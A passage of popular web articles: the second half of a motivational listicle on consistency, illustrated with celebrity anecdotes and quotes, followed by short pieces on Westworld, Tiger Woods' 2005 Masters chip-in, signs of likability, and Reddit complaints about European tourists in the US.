Your partner is someone who is accountable to your well-being and encourages you to work towards your dreams. Partners are known to be supportive, honest and often play the role of a serial motivator. It could be anyone in your family, a friend or a colleague.A partner mostly acts as a talking mirror – someone, who can be the sounding board of your ideas, thoughts and emotion. They let you look at things the way they are and sort out the muddle in your head.Shankar and Jaikishan((Forbes India: Songs and their enduring appeal)) are a perfect example of an organized, supportive and successful Indian music composer duo. They have only achieved success in their life since their relationship started in 1949-1987.

7. Schedule time for things you love doing

Ensure that you take time out almost daily to do what you really love – be it playing squash or strumming your favourite instrument. Do it often! Things you like doing keep your creativity alive. These activities elevate your mood and enhance your productivity.The famous proverb, “All work and no play makes Jack a dull boy” perfectly describes why you need time off from work. Only work will make you boring and uninteresting. Experts say finding time from your work to do stuff you love will not only improve your consistency but also affect your efficiency dramatically.Here are some interesting facts about pursuing creativity by the rich and famous:Meryl Streep the award-winning actress loves to knit; Bill Gates is an avid bridge player; George W. Bush, the former US President is a prolific painter; Tom Hanks collects vintage typewriters; Marissa Mayer, The Yahoo CEO, loves baking; and Warren Buffet plays the ukulele.

8. Travel solo often

Travelling clears the clutter in your mind and brings you back rejuvenated to perform better and achieve more tasks than you normally would with a clogged mind.Travelling also makes you look at the bigger picture in terms of realizing your potential. An amazing example of travel making you look at the bigger picture is that of Elon Musk.When Musk was only 17 years old his father made him take a tour of the West. Musk traveled to 18 US states by car. His solo trip exposed him to situations that are believed to have helped him take major decisions in life.

9. Money will not motivate you consistently

Money is not the only motivator that works for consistency. You will tend to procrastinate if you aren’t interested in doing a certain task. Be true to yourself and set goals beyond money for motivation.The best way to deal with this is to delegate tasks and follow up constantly. Let people help you with the tasks that they like doing and find a way to monetize these tasks profitably. Henry Ford very famously said,

“Coming together is a beginning. Keeping together is progress. Working together is success.”

10. Surround yourself with positive people

Tap into the positive energy of people around you. Positivity brings in a lot of energy to motivate you in performing your tasks faster and work for longer hours. Be constantly aware of your state of mind and be vigilant about getting sucked into the negativity.Follow successful leaders and inspirational speakers on social media. Read and listen to their daily dose of positivity to differentiate between struggle and negativity.Want to know the source of inspirations for the big names in industry? Examples are plenty:Richard Branson claims to be highly inspired by Steve Jobs.Paul Mizen, MD, Recruit Venture Group, call on Winston Churchill – as a training resource to inspire the rest of his team.No one has inspired Tim Cameron-Kitchen, head ninja at digital marketing agency Exposure Ninja, more than Benjamin Franklin.

11. Visualize the results

Right from dealing with failure to success – every negotiation in life needs to be pre-empted and visualized to prepare beforehand in order to deal with the situations as and when they arise.Visualization keeps us armed and motivated to execute the required actions. This does not mean having vain chimeras though! In some scenarios, you might even have to improvise your plan to achieve the desired results from a particular task or activity. New challenges will demand you to be flexible and open to changes.Visualize every intricate detail of your journey and you’ll be motivated to work towards turning them into a reality. This also instils uniformity in your efforts. The more often you visualize your dreams and journey, the more unfailing you will be at working hard.The oft-quoted lined by Benjamin Franklin, the founding father of the United States of America who revolutionised the world with his discovery of electricity, comes to mind in this context:

“By failing to prepare, you are preparing to fail.”

12. Realize that you can’t control everything

Don’t be demotivated if certain plans don’t work. We cannot control everything. All we can do is deliver the best in all we do. The key to consistent performance is in knowing that you need to constantly keep delivering regardless of failures.Elvis’s recordings were a flop for initial many years and later when he tried to be the member of a vocal quartet he was told that he couldn’t sing. It was till the very day that he became popular, people kept telling him to go back to driving a truck.Let go of “what-ifs” and approach every task with confidence. Focus on your efforts and performance more than the outcome and keep on adding value to your deliveries.

13. Don’t lose sight of the bigger picture

Taking care of the menial or mundane tasks can get pretty boring. To keep away from dejection remind yourself of the reasons for getting them done. Keep the bigger picture in mind. All these small tasks are going to complete the jigsaw puzzle in your near future.The great scientist, Alan Turing said,

“We can only see a short distance ahead, but we can see plenty there that needs to be done.”

Your goals and dreams are way bigger than the small tasks and such tasks will utilize a lot of your time. However, it will be unjust to compare this effort to the overall value of your goal.

14. Follow your industry for positive information

Know about the success stories of others who are trying to do what you are doing. Once you start following the industry, you will be empowered with right knowledge and facts. This learning will nourish your mind and keep you motivated towards your goal.You will also get competitive and zealous once you follow the progress of other people in your industry. You could also find opportunities to connect with like-minded people who are working towards similar goals. You could even get into a healthy competition with your ally, which in turn will enable you perform better.Jack Levin nailed it when he said,

“I think healthy competition is good for business, and really at the end best for end-users. Just think about what Android would have been if it was for iPhone – a better blackberry?”

15. Blame yourself before you blame others

All of us make mistakes. Review what you do to find out where it goes wrong and improve your skill in that area. It’s easy to blame your boss, your investors or your trainers but that doesn’t address the issue.Ask yourself before starting a blame game. Hold yourself accountable and make the most from the mistake by taking serious lessons and building your capacity so that the mistake is not repeated in future.Courtney Lynch, founding partner of Lead Star, puts it in the most articulate way when she says,

“Leaders inspire accountability through their ability to accept responsibility before they place blame.”

No matter at what stage of life you are in, there is nothing as right time or right place. You can start right now.Remember, unless you execute, you’ll never know your true potential. Be consistent, be happy.

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Warning: Spoilers ahead for “Westworld” season two, episode three, “Virtù e Fortuna.”

It’s past time we talk about the Native and Ghost Nation Tribe hosts on HBO’s “Westworld.” This subset of hosts in the park have their important mythology and connection to Arnold’s maze and the events of the rebellion, and we’re here to gather everything we know about this set of characters. 

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  • Maybe the most iconic moment of Tiger Woods’ storied career came during the 2005 Masters when he chipped in on the 16th hole of the final round.
  • Woods was holding a one-stroke lead at the time and eventually won his fourth Masters in a playoff.
  • According to Woods’ former caddie, Woods was aiming for a mark the size of a dime and hit it on the fly.

Tiger Woods won his fourth Masters Tournament in 2005, and in the final round, he hit what was arguably the most iconic shot of his career.

On the 16th hole in his final round, Woods sank a chip shot from the rough while battling for the lead, with the ball hanging on the edge of the hole before falling in. In an interview with Golf Digest, Tiger’s caddie Steve Williams revealed some details behind the shot that make it look even more incredible.

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  • Charismatic people have certain traits and behaviors in common that make them likable.
  • Above all, they focus on other people instead of themselves.
  • For example, they ask lots of questions in conversation, show empathy, and nod attentively.

Everyone worries from time to time.

Maybe you walked into a roomful of coworkers whispering and assumed they were gossiping about you. Or maybe your friends forgot to include you on the email chain for an upcoming getaway.

Our advice? Relax. You’re probably plenty well-liked.

But if you’re really worried about it, we’ve put together a list of research-and-expert-backed signs that you’re likable — perhaps even more so than you realize.

You’ll notice that many of the items on this list have to do with paying more attention to other people and less attention to yourself. Somewhat ironically, once you stop worrying about being likable, you’ll have a better chance at winning other people over.

You make a great first impression

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First impressions are notoriously hard to shake — so if you make a solid one, you’re basically set up to be likable for life.

In one 2016 study published in the journal of Social Psychological and Personality Science, researchers found that participants’ evaluations of people in photographs ended up influencing their perceptions of those people even after they’d met them in real life.

That said, if you do make a poor first impression, there are ways to reverse it. For example, if someone views you negatively, you can help them see your behavior in a new context.

Say you ignore an acquaintance on the street because you just had a massive fight with your partner and aren’t in the mood to talk. Later you find out that the acquaintance thinks you’re a jerk. You might want to get in touch with her and explain that you normally love talking to her, but you’d just finished sobbing and didn’t want to embarrass yourself or her.

You show positive emotions

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It’s a beautiful day in the neighborhood! (Isn’t it?)

According to a research paper from the Ohio State University and the University of Hawaii, people can unconsciously feel the emotions of those around them.

The authors of the paper say that’s possibly because we naturally mimic others’ movements and facial expressions, which in turn makes us feel something similar to what they’re feeling.

It follows then that if you’re generally upbeat and enthusiastic, other people will feel the same when you’re around.

You’re not always perfect

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Ever tripped on the carpet on your way out of an important meeting? Go you!

Science suggests that revealing you aren’t perfect can make you seem more relatable and vulnerable toward the people around you.

Researcher Elliot Aronson at the University of Texas, Austin first discovered this phenomenon when he studied how simple mistakes can affect perceived attraction. He asked male students from the University of Minnesota to listen to tape recordings of people taking a quiz.

When people did well on the quiz but spilled coffee at the end of the interview, the students rated them higher on likability than when they did well on the quiz and didn’t spill coffee or didn’t do well on the quiz and spilled coffee.

In other words, you have to reveal that you’re competent before making a mistake — otherwise you’ll just seem silly.


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  • All tourists experience a bit of a culture shock when visiting a new country.
  • European tourists can struggle to understand the culture, weather, and laws of America.
  • Reddit users shared some of the most frustrating mistakes Europeans make while visiting the US.


Each country has its own very distinct customs and traditions, and even the most well-versed tourist is bound to break some of those customs.

American tourists certainly make their own mistakes when traveling, but sometimes they’re the victims as well.

Reddit users shared some of the most annoying things Europeans do while visiting the US.

Of course, this is just for fun, as we can’t independently verify any of these claims.

Not wearing enough sunscreen

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“Go anywhere hot where Europeans holiday, and you’ll see sunburn like that most days. People from the UK and Germany in particular for some reason. You’ll see people with horrific sunburn setting up on the beach to lay in the sun even more.” — Redditor magictravelblog

Using phrases that don’t translate well

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“A common British term (at least where I’m from) is “are you alright?” which is akin to “how are you?” here. Not in the states — it’s taken a lot more personally and I’ve been met with a few looks of bemusement, as if I’m trying to be overly personal.” — Redditor Kushtykush

Not adhering to American driving rules.

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“If you get stopped by the police, DO NOT get out of the car. Sit in your seat with your hands visible and wait for them to come to you. It might take a while, they are running your plate and calling in the stop. Just sit and wait.” — Redditor streamstroller


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